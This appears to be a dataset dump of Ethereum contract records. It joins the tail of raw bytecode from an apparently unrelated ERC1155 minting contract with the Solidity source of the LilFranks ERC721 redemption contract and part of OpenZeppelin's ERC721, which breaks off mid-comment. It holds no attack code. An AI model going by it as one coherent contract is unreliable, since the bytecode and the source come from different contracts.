492929190612b7b565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fd90613a6c565b60405180910390fd5b600061251061209a565b905061253081878761252188612907565b61252a88612907565b87612718565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156125c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125be90613aac565b60405180910390fd5b83810360008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461267c9190613de2565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6288886040516126f9929190613ba7565b60405180910390a461270f828888888888612981565b50505050505050565b505050505050565b61273f8473ffffffffffffffffffffffffffffffffffffffff16612b68565b156128ff578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b81526004016127859594939291906137d0565b602060405180830381600087803b15801561279f57600080fd5b505af19250505080156127d057506040513d601f19601f820116820180604052508101906127cd9190613264565b60015b612876576127dc6141e9565b806308c379a0141561283957506127f16146f1565b806127fc575061283b565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612830919061392a565b60405180910390fd5b505b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286d9061394c565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916146128fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f49061396c565b60405180910390fd5b505b505050505050565b60606000600167ffffffffffffffff811115612926576129256141ba565b5b6040519080825280602002602001820160405280156129545781602001602082028036833780820191505090505b509050828160008151811061296c5761296b61418b565b5b60200260200101818152505080915050919050565b6129a08473ffffffffffffffffffffffffffffffffffffffff16612b68565b15612b60578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b81526004016129e6959493929190613838565b602060405180830381600087803b158015612a0057600080fd5b505af1925050508015612a3157506040513d601f19601f82011682018060405250810190612a2e9190613264565b60015b612ad757612a3d6141e9565b806308c379a01415612a9a5750612a526146f1565b80612a5d5750612a9c565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a91919061392a565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ace9061394c565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614612b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b559061396c565b60405180910390fd5b505b505050505050565b600080823b905060008111915050919050565b828054612b8790614028565b90600052602060002090601f016020900481019282612ba95760008555612bf0565b82601f10612bc257805160ff1916838001178555612bf0565b82800160010185558215612bf0579182015b82811115612bef578251825591602001919060010190612bd4565b5b509050612bfd9190612c01565b5090565b5b80821115612c1a576000816000905550600101612c02565b5090565b6000612c31612c2c84613cb7565b613c92565b90508083825260208201905082856020860282011115612c5457612c53614215565b5b60005b85811015612c845781612c6a8882612d82565b845260208401935060208301925050600181019050612c57565b5050509392505050565b6000612ca1612c9c84613ce3565b613c92565b90508083825260208201905082856020860282011115612cc457612cc3614215565b5b60005b85811015612cf45781612cda8882612ee4565b845260208401935060208301925050600181019050612cc7565b5050509392505050565b6000612d11612d0c84613d0f565b613c92565b905082815260208101848484011115612d2d57612d2c61421a565b5b612d38848285613fe6565b509392505050565b6000612d53612d4e84613d40565b613c92565b905082815260208101848484011115612d6f57612d6e61421a565b5b612d7a848285613fe6565b509392505050565b600081359050612d9181614787565b92915050565b600082601f830112612dac57612dab614210565b5b8135612dbc848260208601612c1e565b91505092915050565b600082601f830112612dda57612dd9614210565b5b8135612dea848260208601612c8e565b91505092915050565b600081359050612e028161479e565b92915050565b600081359050612e17816147b5565b92915050565b600081519050612e2c816147b5565b92915050565b600082601f830112612e4757612e46614210565b5b8135612e57848260208601612cfe565b91505092915050565b60008083601f840112612e7657612e75614210565b5b8235905067ffffffffffffffff811115612e9357612e9261420b565b5b602083019150836001820283011115612eaf57612eae614215565b5b9250929050565b600082601f830112612ecb57612eca614210565b5b8135612edb848260208601612d40565b91505092915050565b600081359050612ef3816147cc565b92915050565b600081359050612f08816147e3565b92915050565b600081359050612f1d816147fa565b92915050565b600060208284031215612f3957612f38614224565b5b6000612f4784828501612d82565b91505092915050565b60008060408385031215612f6757612f66614224565b5b6000612f7585828601612d82565b9250506020612f8685828601612d82565b9150509250929050565b600080600080600060a08688031215612fac57612fab614224565b5b6000612fba88828901612d82565b9550506020612fcb88828901612d82565b945050604086013567ffffffffffffffff811115612fec57612feb61421f565b5b612ff888828901612dc5565b935050606086013567ffffffffffffffff8111156130195761301861421f565b5b61302588828901612dc5565b925050608086013567ffffffffffffffff8111156130465761304561421f565b5b61305288828901612e32565b9150509295509295909350565b600080600080600060a0868803121561307b5761307a614224565b5b600061308988828901612d82565b955050602061309a88828901612d82565b94505060406130ab88828901612ee4565b93505060606130bc88828901612ee4565b925050608086013567ffffffffffffffff8111156130dd576130dc61421f565b5b6130e988828901612e32565b9150509295509295909350565b6000806040838503121561310d5761310c614224565b5b600061311b85828601612d82565b925050602061312c85828601612df3565b9150509250929050565b6000806040838503121561314d5761314c614224565b5b600061315b85828601612d82565b925050602061316c85828601612ee4565b9150509250929050565b60006020828403121561318c5761318b614224565b5b600082013567ffffffffffffffff8111156131aa576131a961421f565b5b6131b684828501612d97565b91505092915050565b600080604083850312156131d6576131d5614224565b5b600083013567ffffffffffffffff8111156131f4576131f361421f565b5b61320085828601612d97565b925050602083013567ffffffffffffffff8111156132215761322061421f565b5b61322d85828601612dc5565b9150509250929050565b60006020828403121561324d5761324c614224565b5b600061325b84828501612e08565b91505092915050565b60006020828403121561327a57613279614224565b5b600061328884828501612e1d565b91505092915050565b6000806000604084860312156132aa576132a9614224565b5b600084013567ffffffffffffffff8111156132c8576132c761421f565b5b6132d486828701612e60565b935093505060206132e786828701612ee4565b9150509250925092565b60006020828403121561330757613306614224565b5b600082013567ffffffffffffffff8111156133255761332461421f565b5b61333184828501612eb6565b91505092915050565b6000602082840312156133505761334f614224565b5b600061335e84828501612ee4565b91505092915050565b60006020828403121561337d5761337c614224565b5b600061338b84828501612ef9565b91505092915050565b6000602082840312156133aa576133a9614224565b5b60006133b884828501612f0e565b91505092915050565b60006133cd8383613779565b60208301905092915050565b6133e281613f31565b82525050565b60006133f382613d81565b6133fd8185613daf565b935061340883613d71565b8060005b8381101561343957815161342088826133c1565b975061342b83613da2565b92505060018101905061340c565b5085935050505092915050565b61344f81613f43565b82525050565b600061346082613d8c565b61346a8185613dc0565b935061347a818560208601613ff5565b61348381614229565b840191505092915050565b61349781613fc2565b82525050565b60006134a98385613dd1565b93506134b6838584613fe6565b6134bf83614229565b840190509392505050565b60006134d582613d97565b6134df8185613dd1565b93506134ef818560208601613ff5565b6134f881614229565b840191505092915050565b6000613510603483613dd1565b915061351b82614247565b604082019050919050565b6000613533602883613dd1565b915061353e82614296565b604082019050919050565b6000613556600983613dd1565b9150613561826142e5565b602082019050919050565b6000613579602b83613dd1565b91506135848261430e565b604082019050919050565b600061359c602683613dd1565b91506135a78261435d565b604082019050919050565b60006135bf602983613dd1565b91506135ca826143ac565b604082019050919050565b60006135e2601183613dd1565b91506135ed826143fb565b602082019050919050565b6000613605601883613dd1565b915061361082614424565b602082019050919050565b6000613628601b83613dd1565b91506136338261444d565b602082019050919050565b600061364b602583613dd1565b915061365682614476565b604082019050919050565b600061366e603283613dd1565b9150613679826144c5565b604082019050919050565b6000613691602a83613dd1565b915061369c82614514565b604082019050919050565b60006136b4602083613dd1565b91506136bf82614563565b602082019050919050565b60006136d7602583613dd1565b91506136e28261458c565b604082019050919050565b60006136fa601983613dd1565b9150613705826145db565b602082019050919050565b600061371d602983613dd1565b915061372882614604565b604082019050919050565b6000613740602983613dd1565b915061374b82614653565b604082019050919050565b6000613763602883613dd1565b915061376e826146a2565b604082019050919050565b61378281613f9b565b82525050565b61379181613f9b565b82525050565b6137a081613fd4565b82525050565b6137af81613fa5565b82525050565b60006020820190506137ca60008301846133d9565b92915050565b600060a0820190506137e560008301886133d9565b6137f260208301876133d9565b818103604083015261380481866133e8565b9050818103606083015261381881856133e8565b9050818103608083015261382c8184613455565b90509695505050505050565b600060a08201905061384d60008301886133d9565b61385a60208301876133d9565b6138676040830186613788565b6138746060830185613788565b81810360808301526138868184613455565b90509695505050505050565b600060208201905081810360008301526138ac81846133e8565b905092915050565b600060408201905081810360008301526138ce81856133e8565b905081810360208301526138e281846133e8565b90509392505050565b60006020820190506139006000830184613446565b92915050565b6000602082019050818103600083015261392181848661349d565b90509392505050565b6000602082019050818103600083015261394481846134ca565b905092915050565b6000602082019050818103600083015261396581613503565b9050919050565b6000602082019050818103600083015261398581613526565b9050919050565b600060208201905081810360008301526139a581613549565b9050919050565b600060208201905081810360008301526139c58161356c565b9050919050565b600060208201905081810360008301526139e58161358f565b9050919050565b60006020820190508181036000830152613a05816135b2565b9050919050565b60006020820190508181036000830152613a25816135d5565b9050919050565b60006020820190508181036000830152613a45816135f8565b9050919050565b60006020820190508181036000830152613a658161361b565b9050919050565b60006020820190508181036000830152613a858161363e565b9050919050565b60006020820190508181036000830152613aa581613661565b9050919050565b60006020820190508181036000830152613ac581613684565b9050919050565b60006020820190508181036000830152613ae5816136a7565b9050919050565b60006020820190508181036000830152613b05816136ca565b9050919050565b60006020820190508181036000830152613b25816136ed565b9050919050565b60006020820190508181036000830152613b4581613710565b9050919050565b60006020820190508181036000830152613b6581613733565b9050919050565b60006020820190508181036000830152613b8581613756565b9050919050565b6000602082019050613ba16000830184613788565b92915050565b6000604082019050613bbc6000830185613788565b613bc96020830184613788565b9392505050565b6000602082019050613be56000830184613797565b92915050565b6000604082019050613c006000830185613797565b613c0d602083018461348e565b9392505050565b600061010082019050613c2a600083018b6137a6565b613c37602083018a6137a6565b613c4460408301896137a6565b613c5160608301886137a6565b613c5e60808301876137a6565b613c6b60a08301866137a6565b613c7860c08301856137a6565b613c8560e08301846137a6565b9998505050505050505050565b6000613c9c613cad565b9050613ca8828261405a565b919050565b6000604051905090565b600067ffffffffffffffff821115613cd257613cd16141ba565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613cfe57613cfd6141ba565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613d2a57613d296141ba565b5b613d3382614229565b9050602081019050919050565b600067ffffffffffffffff821115613d5b57613d5a6141ba565b5b613d6482614229565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613ded82613f9b565b9150613df883613f9b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613e2d57613e2c6140fe565b5b828201905092915050565b6000613e4382613fa5565b9150613e4e83613fa5565b92508263ffffffff03821115613e6757613e666140fe565b5b828201905092915050565b6000613e7d82613f9b565b9150613e8883613f9b565b925082613e9857613e9761412d565b5b828204905092915050565b6000613eae82613f9b565b9150613eb983613f9b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ef257613ef16140fe565b5b828202905092915050565b6000613f0882613f9b565b9150613f1383613f9b565b925082821015613f2657613f256140fe565b5b828203905092915050565b6000613f3c82613f7b565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b6000613fcd82613f9b565b9050919050565b6000613fdf82613fa5565b9050919050565b82818337600083830152505050565b60005b83811015614013578082015181840152602081019050613ff8565b83811115614022576000848401525b50505050565b6000600282049050600182168061404057607f821691505b602082108114156140545761405361415c565b5b50919050565b61406382614229565b810181811067ffffffffffffffff82111715614082576140816141ba565b5b80604052505050565b600061409682613f9b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156140c9576140c86140fe565b5b600182019050919050565b60006140df82613fb5565b915060ff8214156140f3576140f26140fe565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d11156142085760046000803e61420560005161423a565b90505b90565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f4c6f772050726963650000000000000000000000000000000000000000000000600082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f657863656564206d617820737570706c79000000000000000000000000000000600082015250565b7f6578636565642077697468647261772062616c616e63652e0000000000000000600082015250565b7f65786365656420746865206d617820737570706c79206c696d69740000000000600082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f65786365656420746865206d6178206d696e74696e67206c696d69742070657260008201527f2074696d65000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e74696e6720616c72656164792073746f70206e6f772100000000000000600082015250565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b600060443d101561470157614784565b614709613cad565b60043d036004823e80513d602482011167ffffffffffffffff82111715614731575050614784565b808201805167ffffffffffffffff81111561474f5750505050614784565b80602083010160043d03850181111561476c575050505050614784565b61477b8260200185018661405a565b82955050505050505b90565b61479081613f31565b811461479b57600080fd5b50565b6147a781613f43565b81146147b257600080fd5b50565b6147be81613f4f565b81146147c957600080fd5b50565b6147d581613f9b565b81146147e057600080fd5b50565b6147ec81613fa5565b81146147f757600080fd5b50565b61480381613fb5565b811461480e57600080fd5b5056fea26469706673582212202887d42caa8b7f11151e49a55747af8da22ae5c2a6a347a0da39b830792b444664736f6c63430008070033
[ 5, 12 ]
0xf2C183fdc12E29D7916bbba8FC56953Cd70B3559
// SPDX-License-Identifier: MIT /* * @title ERC721 token for LilFranks, redeemable through burning LilFranks MintPassport tokens * * @author original logic by Niftydude, extended by @bitcoinski, adapted by @andrewjiang */ pragma solidity 0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import '@openzeppelin/contracts/access/Ownable.sol'; import "@openzeppelin/contracts/utils/Counters.sol"; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; import "./ILilFranks.sol"; import "./console.sol"; /* ,sM""""%W, ,#" 7m ,mAWmw, # ]p @" "W# ]p # s##WWmw @ @ # ,# %b #%m, ]b j `@, @b @ @p %m ,' ]b "Wp "= ,,sMW""^````"5# # ]##W ,e#"` 15b ,#Q,,ssmmw,, ,####ll5#b # ^%#mw,e###bGl#f##Q##WGl##m ;#@S#####[email protected] @Q @#b GGGG ^'' [email protected]##f# @#########"%m ###m, ]b( ,;,,QJQ G,QQ"#`%[email protected] #SG##@"\[email protected]###MMWW%%"""""7""""""""""""""^``` `"%##""@p #5#Q# ,Q##"` ,,s,, s######wssm p %[email protected] ##5#S5##W p 'WW############## "@@@########### .p @m# @###b#@# , ]#########@### .#MW55WM @@############s @b %####@b , [email protected]############# `^"%p @############ .p .# ] %### ^############b ,# ^@####@##### s ;# sM%M `%#Q G7bGGGG,G "@##@####M "7WWWWWW" '"%##W7 ,#" "%mp GGG GGGGG ' GGG GGG.#7p ,,#M" `"WmQQ, GGGGGGGGGGGG "We###" GG ,,sm#M"` `"""%%W####mmmmmmm##m#MWW%""""` ######"^ [email protected] @#b^ GGGGGGGG^Q # "WQ ,#b ," "%w, s" "m ,s#""#m @@ #"W, ,s#" "@W, # ,M `""=m,, ,#M` ""@Wm,@#` @#"m @#p @#" # @ @N ^p ,#" ##@ b @ # b sM` """ b jb @ ^p @ ;##p , # b # @ ] @p "WM ]#[email protected] @ # ` `` ` ``` ` `` ` */ contract LilFranks is ILilFranks, AccessControl, ERC721Enumerable, ERC721Pausable, ERC721Burnable, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private generalCounter; // Roles bytes32 public constant LIL_FRANKS_OPERATOR_ROLE = keccak256("LIL_FRANKS_OPERATOR_ROLE"); bytes32 public constant LIL_FRANKS_URI_UPDATER_ROLE = keccak256("LIL_FRANKS_URI_OPERATOR_ROLE"); mapping(uint256 => TokenData) public tokenData; mapping(uint256 => RedemptionWindow) public redemptionWindows; struct TokenData { string tokenURI; bool exists; } struct RedemptionWindow { uint256 windowOpens; uint256 windowCloses; uint256 maxRedeemPerTxn; } string private baseTokenURI; string private ipfsURI; string public _contractURI; uint256 private ipfsAt; MintPassportFactory public lilFranksMintPassportFactory; event Redeemed(address indexed account, string tokens); /** * @notice Constructor to create Lil Frank * * @param _symbol the token symbol * @param _mpIndexes the mintpass indexes to accommodate * @param _redemptionWindowsOpen the mintpass redemption window open unix timestamp by index * @param _redemptionWindowsClose the mintpass redemption window close unix timestamp by index * @param _maxRedeemPerTxn the max mint per redemption by index * @param _baseTokenURI the respective base URI * @param _contractMetaDataURI the respective contract meta data URI * @param _mintPassToken contract address of MintPassport token to be burned */ constructor ( string memory _name, string memory _symbol, uint256[] memory _mpIndexes, uint256[] memory _redemptionWindowsOpen, uint256[] memory _redemptionWindowsClose, uint256[] memory _maxRedeemPerTxn, string memory _baseTokenURI, string memory _contractMetaDataURI, address _mintPassToken ) ERC721(_name, _symbol) { baseTokenURI = _baseTokenURI; _contractURI = _contractMetaDataURI; lilFranksMintPassportFactory = MintPassportFactory(_mintPassToken); for(uint256 i = 0; i < _mpIndexes.length; i++) { uint passID = _mpIndexes[i]; redemptionWindows[passID].windowOpens = _redemptionWindowsOpen[i]; redemptionWindows[passID].windowCloses = _redemptionWindowsClose[i]; redemptionWindows[passID].maxRedeemPerTxn = _maxRedeemPerTxn[i]; } _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(DEFAULT_ADMIN_ROLE, 0x5a379aaCf8Bf1E9D4E715D00654846eb1CFC8a76); // Deployer _setupRole(DEFAULT_ADMIN_ROLE, 0xF3bF7cf9e6B96E754F8d0D927F2162683B278322); // @lilfranksvault _setupRole(DEFAULT_ADMIN_ROLE, 0x760e7B42c920c2a0FeB58DDD610c14A6Bdd2Ebea); // @andrewjiang grantRole(LIL_FRANKS_OPERATOR_ROLE, msg.sender); } /** * @notice Set the mintpassport contract address * * @param _mintPassToken the respective Mint Passport contract address */ function setMintPassportToken(address _mintPassToken) external override onlyOwner { lilFranksMintPassportFactory = MintPassportFactory(_mintPassToken); } /** * @notice Change the base URI for returning metadata * * @param _baseTokenURI the respective base URI */ function setBaseURI(string memory _baseTokenURI) external override onlyOwner { baseTokenURI = _baseTokenURI; } /** * @notice Change the base URI for returning metadata * * @param _ipfsURI the respective ipfs base URI */ function setIpfsURI(string memory _ipfsURI) external override onlyOwner { ipfsURI = _ipfsURI; } /** * @notice Change last ipfs token index * * @param at the token index */ function endIpfsUriAt(uint256 at) external onlyOwner { ipfsAt = at; } /** * @notice Pause redeems until unpause is called */ function pause() external override onlyOwner { _pause(); } /** * @notice Unpause redeems until pause is called */ function unpause() external override onlyOwner { _unpause(); } /** * @notice Configure time to enable redeem functionality * * @param _windowOpen UNIX timestamp for redeem start */ function setRedeemStart(uint256 passID, uint256 _windowOpen) external override onlyOwner { redemptionWindows[passID].windowOpens = _windowOpen; } /** * @notice Configure time to enable redeem functionality * * @param _windowClose UNIX timestamp for redeem close */ function setRedeemClose(uint256 passID, uint256 _windowClose) external override onlyOwner { redemptionWindows[passID].windowCloses = _windowClose; } /** * @notice Configure the max amount of passes that can be redeemed in a txn for a specific pass index * * @param _maxRedeemPerTxn number of passes that can be redeemed */ function setMaxRedeemPerTxn(uint256 passID, uint256 _maxRedeemPerTxn) external override onlyOwner { redemptionWindows[passID].maxRedeemPerTxn = _maxRedeemPerTxn; } /** * @notice Check if redemption window is open * * @param passID the pass index to check */ function isRedemptionOpen(uint256 passID) public view override returns (bool) { return block.timestamp > redemptionWindows[passID].windowOpens && block.timestamp < redemptionWindows[passID].windowCloses; } /** * @notice Redeem specified amount of MintPass tokens for MetaHero * * @param mpIndexes the tokenIDs of MintPasses to redeem * @param amounts the amount of MintPasses to redeem */ function redeem(uint256[] calldata mpIndexes, uint256[] calldata amounts) external override{ console.log('redeeming...'); require(msg.sender == tx.origin, "Redeem: not allowed from contract"); require(!paused(), "Redeem: paused"); //check to make sure all are valid then re-loop for redemption for(uint256 i = 0; i < mpIndexes.length; i++) { require(amounts[i] > 0, "Redeem: amount cannot be zero"); require(amounts[i] <= redemptionWindows[mpIndexes[i]].maxRedeemPerTxn, "Redeem: max redeem per transaction reached"); require(lilFranksMintPassportFactory.balanceOf(msg.sender, mpIndexes[i]) >= amounts[i], "Redeem: insufficient amount of Mint Passports"); require(block.timestamp > redemptionWindows[mpIndexes[i]].windowOpens, "Redeem: redeption window not open for this Mint Passport"); require(block.timestamp < redemptionWindows[mpIndexes[i]].windowCloses, "Redeem: redeption window is closed for this Mint Passport"); } string memory tokens = ""; for(uint256 i = 0; i < mpIndexes.length; i++) { lilFranksMintPassportFactory.burnFromRedeem(msg.sender, mpIndexes[i], amounts[i]); for(uint256 j = 0; j < amounts[i]; j++) { _safeMint(msg.sender, generalCounter.current()); tokens = string(abi.encodePacked(tokens, generalCounter.current().toString(), ",")); generalCounter.increment(); } console.log('new token IDs redeemed:', tokens); } emit Redeemed(msg.sender, tokens); } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl,IERC165, ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function promoteTeamMember(address _addr, uint role) public{ if(role == 0){ grantRole(LIL_FRANKS_OPERATOR_ROLE, _addr); } else if(role == 1){ grantRole(LIL_FRANKS_URI_UPDATER_ROLE, _addr); } } function demoteTeamMember(address _addr, uint role) public { if(role == 0){ revokeRole(LIL_FRANKS_OPERATOR_ROLE, _addr); } else if(role == 1){ revokeRole(LIL_FRANKS_URI_UPDATER_ROLE, _addr); } } function hasLilFranksRole(address _addr, uint role) public view returns (bool){ if(role == 0){ return hasRole(LIL_FRANKS_OPERATOR_ROLE, _addr); } else if(role == 1){ return hasRole(LIL_FRANKS_URI_UPDATER_ROLE, _addr); } return false; } /** * @notice Configure the max amount of passes that can be redeemed in a txn for a specific pass index * * @param id of token * @param uri to point the token to */ function setIndividualTokenURI(uint256 id, string memory uri) external override { require(hasRole(LIL_FRANKS_URI_UPDATER_ROLE, msg.sender), "Access: sender does not have access"); require(_exists(id), "ERC721Metadata: Token does not exist"); tokenData[id].tokenURI = uri; tokenData[id].exists = true; } function _baseURI(uint256 tokenId) internal view returns (string memory) { if(tokenId >= ipfsAt) { return baseTokenURI; } else { return ipfsURI; } } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if(tokenData[tokenId].exists){ return tokenData[tokenId].tokenURI; } string memory baseURI = _baseURI(tokenId); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } function setContractURI(string memory uri) external { require(hasRole(LIL_FRANKS_URI_UPDATER_ROLE, msg.sender) ); _contractURI = uri; } //TODO: SET ROYALTIES HERE and in MetaData function contractURI() public view returns (string memory) { return _contractURI; } } interface MintPassportFactory { function burnFromRedeem(address account, uint256 id, uint256 amount) external; function balanceOf(address account, uint256 id) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is 